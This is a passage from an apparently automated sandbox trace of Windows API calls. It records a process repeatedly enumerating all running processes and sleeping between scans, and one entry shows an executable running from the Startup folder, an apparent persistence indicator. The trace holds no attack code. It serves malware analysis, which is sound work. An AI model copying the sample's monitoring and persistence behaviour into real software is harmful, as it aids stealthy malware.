lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.866] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.866] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0273.866] CloseHandle (hObject=0x308) returned 1 [0273.867] Sleep (dwMilliseconds=0x1f4) [0274.433] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0274.457] Process32FirstW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.458] GetLastError () returned 0x12 [0274.458] SetLastError (dwErrCode=0x12) [0274.458] GetLastError () returned 0x12 [0274.458] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.458] GetLastError () returned 0x12 [0274.458] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.458] GetLastError () returned 0x12 [0274.458] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.458] GetLastError () returned 0x12 [0274.459] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.459] GetLastError () returned 0x12 [0274.459] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.459] GetLastError () returned 0x12 [0274.459] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.459] GetLastError () returned 0x12 [0274.459] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.460] GetLastError () returned 0x12 [0274.460] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.460] GetLastError () returned 0x12 [0274.460] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0274.460] GetLastError () returned 0x12 [0274.460] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.461] GetLastError () returned 0x12 [0274.461] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.461] GetLastError () returned 0x12 [0274.461] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.461] GetLastError () returned 0x12 [0274.461] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.461] GetLastError () returned 0x12 [0274.462] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.462] GetLastError () returned 0x12 [0274.462] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.462] GetLastError () returned 0x12 [0274.462] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.463] GetLastError () returned 0x12 [0274.463] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0274.463] GetLastError () returned 0x12 [0274.463] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.463] GetLastError () returned 0x12 [0274.463] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.464] GetLastError () returned 0x12 [0274.464] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.464] GetLastError () returned 0x12 [0274.464] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.464] GetLastError () returned 0x12 [0274.464] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0274.464] GetLastError () returned 0x12 [0274.464] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0274.465] GetLastError () returned 0x12 [0274.465] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.465] GetLastError () returned 0x12 [0274.465] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.465] GetLastError () returned 0x12 [0274.465] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.466] GetLastError () returned 0x12 [0274.466] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0274.466] CloseHandle (hObject=0x37c) returned 1 [0274.466] Sleep (dwMilliseconds=0x1f4) [0274.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0274.994] Process32FirstW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.994] GetLastError () returned 0x12 [0274.994] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.994] GetLastError () returned 0x12 [0274.994] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.995] GetLastError () returned 0x12 [0274.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.995] GetLastError () returned 0x12 [0274.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.995] GetLastError () returned 0x12 [0274.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.995] GetLastError () returned 0x12 [0274.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.996] GetLastError () returned 0x12 [0274.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.996] GetLastError () returned 0x12 [0274.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.996] GetLastError () returned 0x12 [0274.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0274.996] GetLastError () returned 0x12 [0274.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.997] GetLastError () returned 0x12 [0274.997] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.997] GetLastError () returned 0x12 [0274.997] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.997] GetLastError () returned 0x12 [0274.997] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.998] GetLastError () returned 0x12 [0274.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.998] GetLastError () returned 0x12 [0274.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.998] GetLastError () returned 0x12 [0274.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.998] GetLastError () returned 0x12 [0274.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0274.999] GetLastError () returned 0x12 [0274.999] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.999] GetLastError () returned 0x12 [0274.999] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.999] GetLastError () returned 0x12 [0274.999] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.000] GetLastError () returned 0x12 [0275.000] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.000] GetLastError () returned 0x12 [0275.000] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0275.000] GetLastError () returned 0x12 [0275.000] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0275.000] GetLastError () returned 0x12 [0275.000] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.001] GetLastError () returned 0x12 [0275.001] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.001] GetLastError () returned 0x12 [0275.001] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.001] GetLastError () returned 0x12 [0275.001] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0275.002] CloseHandle (hObject=0x37c) returned 1 [0275.002] Sleep (dwMilliseconds=0x1f4) [0275.618] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0275.620] Process32FirstW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.620] GetLastError () returned 0x12 [0275.620] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.620] GetLastError () returned 0x12 [0275.621] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.621] GetLastError () returned 0x12 [0275.621] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.621] GetLastError () returned 0x12 [0275.621] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.621] GetLastError () returned 0x12 [0275.622] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.622] GetLastError () returned 0x12 [0275.622] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.622] GetLastError () returned 0x12 [0275.622] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.622] GetLastError () returned 0x12 [0275.622] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.623] GetLastError () returned 0x12 [0275.623] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0275.623] GetLastError () returned 0x12 [0275.623] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.623] GetLastError () returned 0x12 [0275.623] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.623] GetLastError () returned 0x12 [0275.623] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.624] GetLastError () returned 0x12 [0275.624] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.624] GetLastError () returned 0x12 [0275.624] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.625] GetLastError () returned 0x12 [0275.625] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.625] GetLastError () returned 0x12 [0275.625] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, 